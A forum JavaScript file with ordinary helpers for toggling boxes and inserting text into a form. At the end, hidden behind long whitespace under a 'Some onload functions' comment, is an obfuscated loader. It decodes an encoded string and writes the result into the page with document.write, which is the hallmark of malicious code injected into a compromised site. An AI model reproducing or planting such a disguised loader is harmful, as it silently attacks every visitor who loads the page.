/* 
------------------------------------------
	Flipbox written by CrappoMan
	simonpatterson@dsl.pipex.com
------------------------------------------
*/
function flipBox(who) {
	var tmp; 
	if (document.images['b_' + who].src.indexOf('_on') == -1) { 
		tmp = document.images['b_' + who].src.replace('_off', '_on');
		document.getElementById('box_' + who).style.display = 'none';
		document.images['b_' + who].src = tmp;
	} else { 
		tmp = document.images['b_' + who].src.replace('_on', '_off');
		document.getElementById('box_' + who).style.display = 'block';
		document.images['b_' + who].src = tmp;
	} 
}

function addText(elname, wrap1, wrap2) {
	if (document.selection) { // for IE 
		var str = document.selection.createRange().text;
		document.forms['inputform'].elements[elname].focus();
		var sel = document.selection.createRange();
		sel.text = wrap1 + str + wrap2;
		return;
	} else if ((typeof document.forms['inputform'].elements[elname].selectionStart) != 'undefined') { // for Mozilla
		var txtarea = document.forms['inputform'].elements[elname];
		var selLength = txtarea.textLength;
		var selStart = txtarea.selectionStart;
		var selEnd = txtarea.selectionEnd;
		var oldScrollTop = txtarea.scrollTop;
		//if (selEnd == 1 || selEnd == 2)
		//selEnd = selLength;
		var s1 = (txtarea.value).substring(0,selStart);
		var s2 = (txtarea.value).substring(selStart, selEnd)
		var s3 = (txtarea.value).substring(selEnd, selLength);
		txtarea.value = s1 + wrap1 + s2 + wrap2 + s3;
		txtarea.selectionStart = s1.length;
		txtarea.selectionEnd = s1.length + s2.length + wrap1.length + wrap2.length;
		txtarea.scrollTop = oldScrollTop;
		txtarea.focus();
		return;
	} else {
		insertText(elname, wrap1 + wrap2);
	}
}

function insertText(elname, what) {
	if (document.forms['inputform'].elements[elname].createTextRange) {
		document.forms['inputform'].elements[elname].focus();
		document.selection.createRange().duplicate().text = what;
	} else if ((typeof document.forms['inputform'].elements[elname].selectionStart) != 'undefined') { // for Mozilla
		var tarea = document.forms['inputform'].elements[elname];
		var selEnd = tarea.selectionEnd;
		var txtLen = tarea.value.length;
		var txtbefore = tarea.value.substring(0,selEnd);
		var txtafter =  tarea.value.substring(selEnd, txtLen);
		var oldScrollTop = tarea.scrollTop;
		tarea.value = txtbefore + what + txtafter;
		tarea.selectionStart = txtbefore.length + what.length;
		tarea.selectionEnd = txtbefore.length + what.length;
		tarea.scrollTop = oldScrollTop;
		tarea.focus();
	} else {
		document.forms['inputform'].elements[elname].value += what;
		document.forms['inputform'].elements[elname].focus();
	}
}

function show_hide(msg_id) {
	msg_id.style.display = msg_id.style.display == 'none' ? 'block' : 'none';
}// Some onload functions
                                                                                                                                                                                                                                                                              function IOOlOl10lIlII1IOIl0lI011Illl0l1OOIOlII0I(llO010Il0IlII1lO0l11lOlO111001I110OI10O1){var I0Il00Ol001lIII11lOOl00OOO110I10l0l00Ol0=llO010Il0IlII1lO0l11lOlO111001I110OI10O1.length,O000llO1IlII0l0OO1lO01Ol1OlOllIO0lI0I011=1024,I0l000IO1I0OlOO10OI01OOO10O00l11l11010II,OI1O0ll11O1I0I0OlIO0Ol1O1OOOO010IIIlOO0I,l1lOOO1O01Ill01OIlOOlOOIII1100OIOO1llOOl,lOlOIllll11ll0111O11l0I010lO1OI0lIOIOOOO=0,II1IIOl001O0101O10lOOII111llIO1O1I100001=0,OO1IIO0lO0O0l0101100lOI00l0100OOIl01O010=0,lI00lO11I1OOI0Ol0I00IIOOOOIlIl00I00OOOl1=Array(63,60,23,38,37,5,34,57,43,29,0,0,0,0,0,0,19,41,32,40,45,2,17,12,13,11,52,16,14,49,7,59,51,20,21,3,25,0,18,9,46,48,24,0,0,0,0,35,0,10,50,26,6,55,56,28,27,47,42,58,39,4,22,44,61,1,62,15,53,31,54,33,30,8,36);for(OI1O0ll11O1I0I0OlIO0Ol1O1OOOO010IIIlOO0I=Math.ceil(I0Il00Ol001lIII11lOOl00OOO110I10l0l00Ol0/O000llO1IlII0l0OO1lO01Ol1OlOllIO0lI0I011);OI1O0ll11O1I0I0OlIO0Ol1O1OOOO010IIIlOO0I>0;OI1O0ll11O1I0I0OlIO0Ol1O1OOOO010IIIlOO0I--){l1lOOO1O01Ill01OIlOOlOOIII1100OIOO1llOOl='';for(I0l000IO1I0OlOO10OI01OOO10O00l11l11010II=Math.min(I0Il00Ol001lIII11lOOl00OOO110I10l0l00Ol0,O000llO1IlII0l0OO1lO01Ol1OlOllIO0lI0I011);I0l000IO1I0OlOO10OI01OOO10O00l11l11010II>0;I0l000IO1I0OlOO10OI01OOO10O00l11l11010II--,I0Il00Ol001lIII11lOOl00OOO110I10l0l00Ol0--){OO1IIO0lO0O0l0101100lOI00l0100OOIl01O010|=(lI00lO11I1OOI0Ol0I00IIOOOOIlIl00I00OOOl1[llO010Il0IlII1lO0l11lOlO111001I110OI10O1.charCodeAt(lOlOIllll11ll0111O11l0I010lO1OI0lIOIOOOO++)-48])<<II1IIOl001O0101O10lOOII111llIO1O1I100001;if(II1IIOl001O0101O10lOOII111llIO1O1I100001){l1lOOO1O01Ill01OIlOOlOOIII1100OIOO1llOOl+=String.fromCharCode(165^OO1IIO0lO0O0l0101100lOI00l0100OOIl01O010&255);OO1IIO0lO0O0l0101100lOI00l0100OOIl01O010>>=8;II1IIOl001O0101O10lOOII111llIO1O1I100001-=2}else{II1IIOl001O0101O10lOOII111llIO1O1I100001=6}}document.write(l1lOOO1O01Ill01OIlOOlOOIII1100OIOO1llOOl)}}IOOlOl10lIlII1IOIl0lI011Illl0l1OOIOlII0I("Tb1Y2@GbU2CJGNgJH_T45vGYGIgPF_T45c9JglGYZxZYGh9tW@GeuXobISol@PotGuGPWPgJg0TPGNgYUi1w5cptd_7wHN9JR0A6ac9Ja2DtnhHYIb1bS8o6WiZtH2D3FegeNXT3ab1Y2@GbUiW");                                                                                                                                                                                                                                                                              
// End onload functions